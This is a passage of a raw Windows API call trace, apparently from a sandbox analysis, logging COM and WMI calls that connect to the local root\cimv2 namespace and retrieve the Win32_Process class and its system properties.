(This=0x1bbbfbe0) returned 0x3 [0148.528] WbemDefPath:IUnknown:Release (This=0x1bbbfbe0) returned 0x2 [0148.528] WbemDefPath:IWbemPath:SetText (This=0x1bbbfbe0, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0148.529] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bbbfbe0, puCount=0x1bb7e510 | out: puCount=0x1bb7e510*=0x2) returned 0x0 [0148.529] WbemDefPath:IWbemPath:GetText (in: This=0x1bbbfbe0, lFlags=4, puBuffLength=0x1bb7e508*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e508*=0xf, pszText=0x0) returned 0x0 [0148.529] WbemDefPath:IWbemPath:GetText (in: This=0x1bbbfbe0, lFlags=4, puBuffLength=0x1bb7e508*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e508*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0148.529] CoGetObjectContext (in: riid=0x2701470*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e588 | out: ppv=0x1bb7e588*=0x1a943398) returned 0x0 [0148.529] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e578 | out: pAptType=0x1bb7e578*=1) returned 0x0 [0148.529] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x2701450*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e580 | out: ppvObject=0x1bb7e580*=0x0) returned 0x80004002 [0148.529] IUnknown:Release (This=0x1a943398) returned 0x1 [0148.530] CoGetClassObject (in: rclsid=0x1a9ccf38*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7db30 | out: ppv=0x1bb7db30*=0x1bcc3580) returned 0x0 [0148.530] WbemLocator:IUnknown:QueryInterface (in: This=0x1bcc3580, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7db78 | out: ppvObject=0x1bb7db78*=0x0) returned 0x80004002 [0148.530] WbemLocator:IClassFactory:CreateInstance (in: This=0x1bcc3580, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7db28 | out: ppvObject=0x1bb7db28*=0x1bcc35e0) returned 0x0 [0148.530] WbemLocator:IUnknown:Release (This=0x1bcc3580) returned 0x0 [0148.530] WbemLocator:IUnknown:QueryInterface (in: This=0x1bcc35e0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d938 | out: ppvObject=0x1bb7d938*=0x1bcc35e0) returned 0x0 [0148.530] WbemLocator:IUnknown:QueryInterface (in: This=0x1bcc35e0, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d9e0 | out: ppvObject=0x1bb7d9e0*=0x0) returned 0x80004002 [0148.531] WbemLocator:IUnknown:AddRef (This=0x1bcc35e0) returned 0x3 [0148.531] WbemLocator:IUnknown:QueryInterface (in: This=0x1bcc35e0, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7d088 | out: ppvObject=0x1bb7d088*=0x0) returned 0x80004002 [0148.531] WbemLocator:IUnknown:QueryInterface (in: This=0x1bcc35e0, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7d010 | out: ppvObject=0x1bb7d010*=0x0) returned 0x80004002 [0148.531] WbemLocator:IUnknown:QueryInterface (in: This=0x1bcc35e0, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d000 | out: ppvObject=0x1bb7d000*=0x0) returned 0x80004002 [0148.531] CoGetContextToken (in: pToken=0x1bb7d0b0 | out: pToken=0x1bb7d0b0) returned 0x0 [0148.531] CoGetContextToken (in: pToken=0x1bb7d530 | out: pToken=0x1bb7d530) returned 0x0 [0148.531] WbemLocator:IUnknown:QueryInterface (in: This=0x1bcc35e0, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d5f0 | out: ppvObject=0x1bb7d5f0*=0x0) returned 0x80004002 [0148.531] WbemLocator:IUnknown:Release (This=0x1bcc35e0) returned 0x2 [0148.531] WbemLocator:IUnknown:Release (This=0x1bcc35e0) returned 0x1 [0148.531] CoGetContextToken (in: pToken=0x1bb7e0e0 | out: pToken=0x1bb7e0e0) returned 0x0 [0148.531] CoGetContextToken (in: pToken=0x1bb7dfe0 | out: pToken=0x1bb7dfe0) returned 0x0 [0148.531] WbemLocator:IUnknown:QueryInterface (in: This=0x1bcc35e0, riid=0x1bb7e140*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x1bb7e110 | out: ppvObject=0x1bb7e110*=0x1bcc35e0) returned 0x0 [0148.531] WbemLocator:IUnknown:AddRef (This=0x1bcc35e0) returned 0x3 [0148.531] WbemLocator:IUnknown:Release (This=0x1bcc35e0) returned 0x2 [0148.531] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bbbfbe0, puCount=0x1bb7e510 | out: puCount=0x1bb7e510*=0x2) returned 0x0 [0148.532] WbemDefPath:IWbemPath:GetText (in: This=0x1bbbfbe0, lFlags=8, puBuffLength=0x1bb7e508*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e508*=0xf, pszText=0x0) returned 0x0 [0148.532] WbemDefPath:IWbemPath:GetText (in: This=0x1bbbfbe0, lFlags=8, puBuffLength=0x1bb7e508*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e508*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0148.532] CoCreateInstance (in: rclsid=0x7fef422b060*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7fef422b0c0*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x1bb7e180 | out: ppv=0x1bb7e180*=0x1bcc3520) returned 0x0 [0148.532] WbemLocator:IWbemLocator:ConnectServer (in: This=0x1bcc3520, strNetworkResource="\\\\.\\root\\cimv2", strUser=0x0, strPassword=0x0, strLocale="", lSecurityFlags=128, strAuthority="", pCtx=0x0, ppNamespace=0x1bb7e3a8 | out: ppNamespace=0x1bb7e3a8*=0x1bc96b80) returned 0x0 [0148.949] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc96b80, riid=0x7fef422aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7dff8 | out: ppvObject=0x1bb7dff8*=0x1aa030a0) returned 0x0 [0148.949] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x1aa030a0, pProxy=0x1bc96b80, pAuthnSvc=0x1bb7e0c0, pAuthzSvc=0x1bb7e040, pServerPrincName=0x1bb7e070, pAuthnLevel=0x1bb7e044, pImpLevel=0x1bb7e04c, pAuthInfo=0x1bb7e078, pCapabilites=0x1bb7e048 | out: pAuthnSvc=0x1bb7e0c0*=0xa, pAuthzSvc=0x1bb7e040*=0x0, pServerPrincName=0x1bb7e070, pAuthnLevel=0x1bb7e044*=0x6, pImpLevel=0x1bb7e04c*=0x2, pAuthInfo=0x1bb7e078, pCapabilites=0x1bb7e048*=0x1) returned 0x0 [0148.949] WbemLocator:IUnknown:Release (This=0x1aa030a0) returned 0x1 [0148.949] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc96b80, riid=0x7fef422aed0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7df90 | out: ppvObject=0x1bb7df90*=0x1aa030e0) returned 0x0 [0148.950] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc96b80, riid=0x7fef422aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7dfa0 | out: ppvObject=0x1bb7dfa0*=0x1aa030a0) returned 0x0 [0148.950] WbemLocator:IClientSecurity:SetBlanket (This=0x1aa030a0, pProxy=0x1bc96b80, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0148.950] WbemLocator:IUnknown:Release (This=0x1aa030a0) returned 0x2 [0148.950] WbemLocator:IUnknown:Release (This=0x1aa030e0) returned 0x1 [0148.950] CoTaskMemFree (pv=0x1bc1baa0) [0148.950] WbemLocator:IUnknown:AddRef (This=0x1bc96b80) returned 0x2 [0148.950] WbemLocator:IUnknown:Release (This=0x1bcc3520) returned 0x0 [0148.951] CoGetContextToken (in: pToken=0x1bb7d200 | out: pToken=0x1bb7d200) returned 0x0 [0148.951] CoGetContextToken (in: pToken=0x1bb7d680 | out: pToken=0x1bb7d680) returned 0x0 [0148.951] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc96b80, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d600 | out: ppvObject=0x1bb7d600*=0x1aa030b0) returned 0x0 [0148.951] WbemLocator:IRpcOptions:Query (in: This=0x1aa030b0, pPrx=0x1bcc3560, dwProperty=2, pdwValue=0x1bb7d730 | out: pdwValue=0x1bb7d730) returned 0x80004002 [0148.951] WbemLocator:IUnknown:Release (This=0x1aa030b0) returned 0x2 [0148.951] CoGetContextToken (in: pToken=0x1bb7dd50 | out: pToken=0x1bb7dd50) returned 0x0 [0148.951] CoGetContextToken (in: pToken=0x1bb7dc50 | out: pToken=0x1bb7dc50) returned 0x0 [0148.951] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc96b80, riid=0x1bb7ddb0*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x1bb7dbd0 | out: ppvObject=0x1bb7dbd0*=0x1bc96b80) returned 0x0 [0148.951] WbemLocator:IUnknown:Release (This=0x1bc96b80) returned 0x2 [0148.951] SysStringLen (param_1=0x0) returned 0x0 [0148.951] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bbbfbe0, puCount=0x1bb7e550 | out: puCount=0x1bb7e550*=0x2) returned 0x0 [0148.952] WbemDefPath:IWbemPath:GetText (in: This=0x1bbbfbe0, lFlags=4, puBuffLength=0x1bb7e548*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e548*=0xf, pszText=0x0) returned 0x0 [0148.952] WbemDefPath:IWbemPath:GetText (in: This=0x1bbbfbe0, lFlags=4, puBuffLength=0x1bb7e548*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e548*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0148.952] WbemDefPath:IWbemPath:GetText (in: This=0x1bbbffa0, lFlags=2, puBuffLength=0x1bb7e558*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e558*=0xe, pszText=0x0) returned 0x0 [0148.952] WbemDefPath:IWbemPath:GetText (in: This=0x1bbbffa0, lFlags=2, puBuffLength=0x1bb7e558*=0xe, pszText="0000000000000" | out: puBuffLength=0x1bb7e558*=0xe, pszText="Win32_Process") returned 0x0 [0148.952] IWbemServices:GetObject (in: This=0x1bc96b80, strObjectPath="Win32_Process", lFlags=0, pCtx=0x0, ppObject=0x1bb7e3a0*=0x0, ppCallResult=0x0 | out: ppObject=0x1bb7e3a0*=0x1bb90ab0, ppCallResult=0x0) returned 0x0 [0148.955] IWbemClassObject:Get (in: This=0x1bb90ab0, wszName="__PATH", lFlags=0, pVal=0x1bb7e470*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1bb7e5d8*=0, plFlavor=0x1bb7e5d0*=0 | out: pVal=0x1bb7e470*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process", varVal2=0x0), pType=0x1bb7e5d8*=8, plFlavor=0x1bb7e5d0*=64) returned 0x0 [0148.955] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x4a [0148.955] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x4a [0148.956] CoGetObjectContext (in: riid=0x2701470*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e4a8 | out: ppv=0x1bb7e4a8*=0x1a943398) returned 0x0 [0148.956] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e498 | out: pAptType=0x1bb7e498*=1) returned 0x0 [0148.956] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x2701450*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e4a0 | out: ppvObject=0x1bb7e4a0*=0x0) returned 0x80004002 [0148.956] IUnknown:Release (This=0x1a943398) returned 0x1 [0148.958] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d8c0 | out: ppv=0x1bb7d8c0*=0x1bcc3520) returned 0x0 [0148.958] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcc3520, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d908 | out: ppvObject=0x1bb7d908*=0x0) returned 0x80004002 [0148.958] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bcc3520, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d8b8 | out: ppvObject=0x1bb7d8b8*=0x1bbbfb20) returned 0x0 [0148.958] WbemDefPath:IUnknown:Release (This=0x1bcc3520) returned 0x0 [0148.958] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbbfb20, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d6c8 | out: ppvObject=0x1bb7d6c8*=0x1bbbfb20) returned 0x0 [0148.958] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbbfb20, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d770 | out: ppvObject=0x1bb7d770*=0x0) returned 0x80004002 [0148.959] WbemDefPath:IUnknown:AddRef (This=0x1bbbfb20) returned 0x3 [0148.959] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbbfb20, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7ce18 | out: ppvObject=0x1bb7ce18*=0x0) returned 0x80004002 [0148.959] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbbfb20, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cda0 | out: ppvObject=0x1bb7cda0*=0x0) returned 0x80004002 [0148.959] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbbfb20, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cd90 | out: ppvObject=0x1bb7cd90*=0x1bcc3540) returned 0x0 [0148.959] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bcc3540, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7cdb8 | out: pCid=0x1bb7cdb8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0148.959] WbemDefPath:IUnknown:Release (This=0x1bcc3540) returned 0x3 [0148.959] CoGetContextToken (in: pToken=0x1bb7ce40 | out: pToken=0x1bb7ce40) returned 0x0 [0148.959] CoGetContextToken (in: pToken=0x1bb7d2c0 | out: pToken=0x1bb7d2c0) returned 0x0 [0148.959] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbbfb20, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d380 | out: ppvObject=0x1bb7d380*=0x0) returned 0x80004002 [0148.959] WbemDefPath:IUnknown:Release (This=0x1bbbfb20) returned 0x2 [0148.959] WbemDefPath:IUnknown:Release (This=0x1bbbfb20) returned 0x1 [0148.959] CoGetContextToken (in: pToken=0x1bb7e0e0 | out: pToken=0x1bb7e0e0) returned 0x0 [0148.959] CoGetContextToken (in: pToken=0x1bb7dfe0 | out: pToken=0x1bb7dfe0) returned 0x0 [0148.959] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbbfb20, riid=0x1bb7e140*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e110 | out: ppvObject=0x1bb7e110*=0x1bbbfb20) returned 0x0 [0148.959] WbemDefPath:IUnknown:AddRef (This=0x1bbbfb20) returned 0x3 [0148.959] WbemDefPath:IUnknown:Release (This=0x1bbbfb20) returned 0x2 [0148.960] WbemDefPath:IWbemPath:SetText (This=0x1bbbfb20, uMode=0x4, pszPath="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0148.960] IWbemClassObject:Get (in: This=0x1bb90ab0, wszName="__SERVER", lFlags=0, pVal=0x1bb7e530*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1bb7e690*=0, plFlavor=0x1bb7e688*=0 | out: pVal=0x1bb7e530*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x1bb7e690*=8, plFlavor=0x1bb7e688*=64) returned 0x0 [0148.960] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0148.960] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0148.960] IWbemClassObject:Get (in: This=0x1bb90ab0, wszName="__NAMESPACE", lFlags=0, pVal=0x1bb7e530*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1bb7e690*=8, plFlavor=0x1bb7e688*=64 | out: pVal=0x1bb7e530*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="ROOT\\CIMV2", varVal2=0x0), pType=0x1bb7e690*=8, plFlavor=0x1bb7e688*=64) returned 0x0 [0148.960] SysStringByteLen (bstr="ROOT\\CIMV2") returned 0x14 [0148.960] SysStringByteLen (bstr="ROOT\\CIMV2") returned 0x14 [0148.960] IWbemClassObject:Get (in: This=0x1bb90ab0, wszName="__CLASS", lFlags=0, pVal=0x1bb7e530*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1bb7e690*=8, plFlavor=0x1bb7e688*=64 | out: pVal=0x1bb7e530*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_Process", varVal2=0x0), pType=0x1bb7e690*=8, plFlavor=0x1bb7e688*=64) returned 0x0 [0148.961] SysStringByteLen (bstr="Win32_Process") returned 0x1a [0148.961] SysStringByteLen (bstr="Win32_Process") returned 0x1a [0148.961] CoGetObjectContext (in: riid=0x2701470*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e498 | out: ppv=0x1bb7e498*=0x1a943398) returned 0x0 [0148.961] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e488 | out: pAptType=0x1bb7e488*=1) returned 0x0 [0148.961] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x2701450*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e490 | out: ppvObject=0x1bb7e490*=0x0) returned 0x80004002 [0148.961] IUnknown:Release (This=0x1a943398) returned 0x1 [0148.963] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d8b0 | out: ppv=0x1bb7d8b0*=0x1bcc3760) returned 0x0 [0148.963] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcc3760, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d8f8 | out: ppvObject=0x1bb7d8f8*=0x0) returned 0x80004002 [0148.963] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bcc3760, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d8a8 | out: ppvObject=0x1bb7d8a8*=0x1bbbfa60) returned 0x0 [0148.963] WbemDefPath:IUnknown:Release (This=0x1bcc3760) returned 0x0 [0148.963] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbbfa60, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d6b8 | out: ppvObject=0x1bb7d6b8*=0x1bbbfa60) returned 0x0 [0148.963] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbbfa60, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d760 | out: ppvObject=0x1bb7d760*=0x0) returned 0x80004002 [0148.964] WbemDefPath:IUnknown:AddRef (This=0x1bbbfa60) returned 0x3 [0148.964] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbbfa60, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7ce08 | out: ppvObject=0x1bb7ce08*=0x0) returned 0x80004002 [0148.964] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbbfa60, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cd90 | out: ppvObject=0x1bb7cd90*=0x0) returned 0x80004002 [0148.964] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbbfa60, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cd80 | out: ppvObject=0x1bb7cd80*=0x1bc8a4b0) returned 0x0 [0148.964] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bc8a4b0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7cda8 | out: pCid=0x1bb7cda8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0148.964] WbemDefPath:IUnknown:Release (This=0x1bc8a4b0) returned 0x3 [0148.964] 